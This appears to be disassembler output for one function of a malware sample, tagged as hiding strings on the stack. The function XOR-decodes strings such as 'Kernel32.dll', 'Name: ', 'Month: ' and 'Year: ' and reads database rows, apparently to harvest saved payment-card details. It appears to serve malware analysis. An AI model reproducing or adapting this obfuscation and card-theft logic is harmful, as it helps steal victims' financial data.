Function at 0x45b5ff
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x486fd9
call fcn.00486b34
sub esp, 0xfc
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ebx, ecx
and dword [ebp - 4], 0
lea esi, [ebx + 0xac]
mov eax, esi
cmp dword [esi + 0x14], 0x10
jb 0x45b62b
mov eax, dword [esi]
lea ecx, [ebp - 0xa0]
push ecx
push eax
call fcn.0046e55c
pop ecx
pop ecx
test eax, eax
jne 0x45b6a4
mov edi, esi
cmp dword [esi + 0x14], 0x10
jb 0x45b648
mov edi, dword [esi]
mov cl, 0xd
mov dword [ebp - 0x46], 0x7f68460d
mov dword [ebp - 0x42], 0x3e616863
mov dword [ebp - 0x3e], 0x6169233f
mov word [ebp - 0x3a], 0x61
xor edx, edx
mov eax, edx
mov dword [ebp - 0xbc], eax
cmp eax, 0xc
jae 0x45b684
xor byte [ebp + eax - 0x45], cl
inc eax
mov dword [ebp - 0xbc], eax
mov cl, byte [ebp - 0x46]
jmp 0x45b66f
mov byte [ebp - 0x39], dl
lea eax, [ebp - 0x45]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
je 0x45b6a1
mov edx, 0x4940c4
mov ecx, eax
call fcn.00401390
push edi
call eax
push esi
push dword [ebp + 8]
call fcn.00401bbb
movaps xmm0, xmmword [0x49dc20]
movups xmmword [ebp - 0x8c], xmm0
mov dword [ebp - 0x7c], 0x7a777661
mov dword [ebp - 0x78], 0x72704c67
mov dword [ebp - 0x74], 0x607761
xor eax, eax
mov ecx, eax
mov dword [ebp - 0xc0], ecx
cmp ecx, 0x1a
jae 0x45b6ef
mov al, byte [ebp - 0x8c]
xor byte [ebp + ecx - 0x8b], al
inc ecx
jmp 0x45b6d4
xor eax, eax
mov byte [ebp - 0x71], al
lea ecx, [ebx + 0xac]
cmp dword [ecx + 0x14], 0x10
jb 0x45b702
mov ecx, dword [ecx]
push eax
push 6
lea edx, [ebp - 0x6c]
call fcn.004565f6
pop ecx
pop ecx
test eax, eax
jne 0x45bba8
xor esi, esi
push esi
lea eax, [ebp - 0x18]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x8b]
push eax
push dword [ebp - 0x6c]
call fcn.004404bf
add esp, 0x14
test eax, eax
jne 0x45bba8
push 0x494070
lea ecx, [ebp - 0x50]
call fcn.00403ae8
mov edi, 0x49d300
push dword [ebp - 0x18]
call fcn.00420ada
pop ecx
cmp eax, 0x64
jne 0x45baa1
push 4
push dword [ebp - 0x18]
call fcn.00420eec
pop ecx
pop ecx
push eax
lea eax, [ebp - 0xb8]
push eax
call fcn.00457e90
lea eax, [ebp - 0xb8]
cmp dword [ebp - 0xa4], 0x10
cmovae eax, dword [ebp - 0xb8]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0xa8], 0
jne 0x45b79f
test esi, esi
je 0x45ba91
push 2
push edi
lea ecx, [ebp - 0x50]
call fcn.00403c55
mov cl, 0x61
mov dword [ebp - 0x27], 0xc002f61
xor edx, edx
mov dword [ebp - 0x23], 0x415b04
mov eax, edx
mov dword [ebp - 0xc4], eax
cmp eax, 6
jae 0x45b7d9
xor byte [ebp + eax - 0x26], cl
inc eax
mov dword [ebp - 0xc4], eax
mov cl, byte [ebp - 0x27]
jmp 0x45b7c4
mov byte [ebp - 0x20], dl
push edi
push ecx
push 1
push dword [ebp - 0x18]
call fcn.00420fda
add esp, 0xc
push eax
lea ecx, [ebp - 0x88]
call fcn.00403ae8
push eax
lea edx, [ebp - 0x26]
lea ecx, [ebp - 0xf0]
call fcn.00403e69
pop ecx
mov edx, eax
lea ecx, [ebp - 0x108]
call fcn.00403d96
pop ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00403a2e
lea ecx, [ebp - 0x108]
call fcn.00403b2e
lea ecx, [ebp - 0xf0]
call fcn.00403b2e
lea ecx, [ebp - 0x88]
call fcn.00403b2e
mov cl, 0x61
mov dword [ebp - 0x38], 0xf0e2c61
mov dword [ebp - 0x34], 0x415b0915
xor edx, edx
mov byte [ebp - 0x30], dl
mov eax, edx
mov dword [ebp - 0xc8], eax
cmp eax, 7
jae 0x45b871
xor byte [ebp + eax - 0x37], cl
inc eax
mov dword [ebp - 0xc8], eax
mov cl, byte [ebp - 0x38]
jmp 0x45b85c
mov byte [ebp - 0x30], dl
push edi
push ecx
push 2
push dword [ebp - 0x18]
call fcn.00420fda
add esp, 0xc
push eax
lea ecx, [ebp - 0x108]
call fcn.00403ae8
push eax
lea edx, [ebp - 0x37]
lea ecx, [ebp - 0xf0]
call fcn.00403e69
pop ecx
mov edx, eax
lea ecx, [ebp - 0x88]
call fcn.00403d96
pop ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00403a2e
lea ecx, [ebp - 0x88]
call fcn.00403b2e
lea ecx, [ebp - 0xf0]
call fcn.00403b2e
lea ecx, [ebp - 0x108]
call fcn.00403b2e
mov cl, 0x58
mov dword [ebp - 0x2f], 0x393d0158
mov dword [ebp - 0x2b], 0x78622a
xor edx, edx
mov eax, edx
mov dword [ebp - 0xcc], eax
cmp eax, 6
jae 0x45b906
xor byte [ebp + eax - 0x2e], cl
inc eax
mov dword [ebp - 0xcc], eax
mov cl, byte [ebp - 0x2f]
jmp 0x45b8f1
mov byte [ebp - 0x28], dl
push edi
push ecx
push 3
push dword [ebp - 0x18]
call fcn.00420fda
add esp, 0xc
push eax
lea ecx, [ebp - 0x108]
call fcn.00403ae8
push eax
lea edx, [ebp - 0x2e]
lea ecx, [ebp - 0xf0]
call fcn.00403e69
pop ecx
mov edx, eax
lea ecx, [ebp - 0x88]
call fcn.00403d96
pop ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00403a2e
lea ecx, [ebp - 0x88]
call fcn.00403b2e
lea ecx, [ebp - 0xf0]
call fcn.00403b2e
lea ecx, [ebp - 0x108]
call fcn.00403b2e
mov cl, 0x51
mov dword [ebp - 0x5f], 0x23301251
mov dword [ebp - 0x5b], 0x243f7135
mov dword [ebp - 0x57], 0x2334333c
mov word [ebp - 0x53], 0x716b
xor edx, edx
mov byte [ebp - 0x51], dl
mov eax, edx
mov dword [ebp - 0xd0], eax
cmp eax, 0xd
jae 0x45b9ab
xor byte [ebp + eax - 0x5e], cl
inc eax
mov dword [ebp - 0xd0], eax
mov cl, byte [ebp - 0x5f]
jmp 0x45b996
mov byte [ebp - 0x51], dl
push edi
lea eax, [ebp - 0xb8]
push eax
lea edx, [ebp - 0x5e]
lea ecx, [ebp - 0xf0]
call fcn.00462a8c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x88]
call fcn.00403d96
pop ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00403a2e
lea ecx, [ebp - 0x88]
call fcn.00403b2e
lea ecx, [ebp - 0xf0]
call fcn.00403b2e
mov cl, 0x16
mov dword [ebp - 0x1f], 0x40405516
mov word [ebp - 0x1b], 0x362c
xor edx, edx
mov byte [ebp - 0x19], dl
mov eax, edx
mov dword [ebp - 0xd4], eax
cmp eax, 5
jae 0x45ba23
xor byte [ebp + eax - 0x1e], cl
inc eax
mov dword [ebp - 0xd4], eax
mov cl, byte [ebp - 0x1f]
jmp 0x45ba0e
mov byte [ebp - 0x19], dl
push edi
push ecx
push 9
push dword [ebp - 0x18]
call fcn.00420fda
add esp, 0xc
push eax
lea ecx, [ebp - 0x108]
call fcn.00403ae8
push eax
lea edx, [ebp - 0x1e]
lea ecx, [ebp - 0xf0]
call fcn.00403e69
pop ecx
mov edx, eax
lea ecx, [ebp - 0x88]
call fcn.00403d96
pop ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00403a2e
lea ecx, [ebp - 0x88]
call fcn.00403b2e
lea ecx, [ebp - 0xf0]
call fcn.00403b2e
lea ecx, [ebp - 0x108]
call fcn.00403b2e
inc dword [ebx + 0xcc]
xor esi, esi
lea ecx, [ebp - 0xb8]
call fcn.00403b2e
jmp 0x45b74c
lea eax, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
cmovae eax, dword [ebp - 0x50]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x40], 0
jne 0x45babc
xor edx, edx
jmp 0x45bb8d
xor edx, edx
mov cl, 0x4b
mov dword [ebp - 0x14], 0x6b684b
mov eax, edx
mov dword [ebp - 0xd8], eax
cmp eax, 2
jae 0x45bae4
xor byte [ebp + eax - 0x13], cl
inc eax
mov dword [ebp - 0xd8], eax
mov cl, byte [ebp - 0x14]
jmp 0x45bacf
mov byte [ebp - 0x11], dl
push 1
push dword [ebp + 8]
lea eax, [ebp - 0xf0]
push eax
call fcn.0045a0aa
mov esi, eax
lea eax, [ebp - 0x13]
push eax
lea ecx, [ebp - 0x88]
call fcn.00403ae8
push esi
mov ecx, eax
call fcn.00403a2e
push eax
lea ecx, [ebp - 0x68]
call fcn.00403ab7
push 2
push edi
lea ecx, [ebp - 0x68]
call fcn.00403c55
push eax
lea ecx, [ebp - 0xb8]
call fcn.00403ab7
lea eax, [ebp - 0xb8]
cmp dword [ebp - 0xa4], 0x10
cmovae eax, dword [ebp - 0xb8]
push dword [ebp - 0xa8]
push eax
push ecx
lea ecx, [ebp - 0x50]
call fcn.004041ae
lea ecx, [ebp - 0xb8]
call fcn.00403b2e
lea ecx, [ebp - 0x68]
call fcn.00403b2e
lea ecx, [ebp - 0x88]
call fcn.00403b2e
lea ecx, [ebp - 0xf0]
call fcn.00403b2e
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebx + 0x94]
call fcn.00403a2e
xor edx, edx
mov ecx, dword [ebp - 0x6c]
call fcn.0045512a
push dword [ebp - 0x18]
call fcn.004202dd
pop ecx
lea ecx, [ebp - 0x50]
call fcn.00403b2e
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4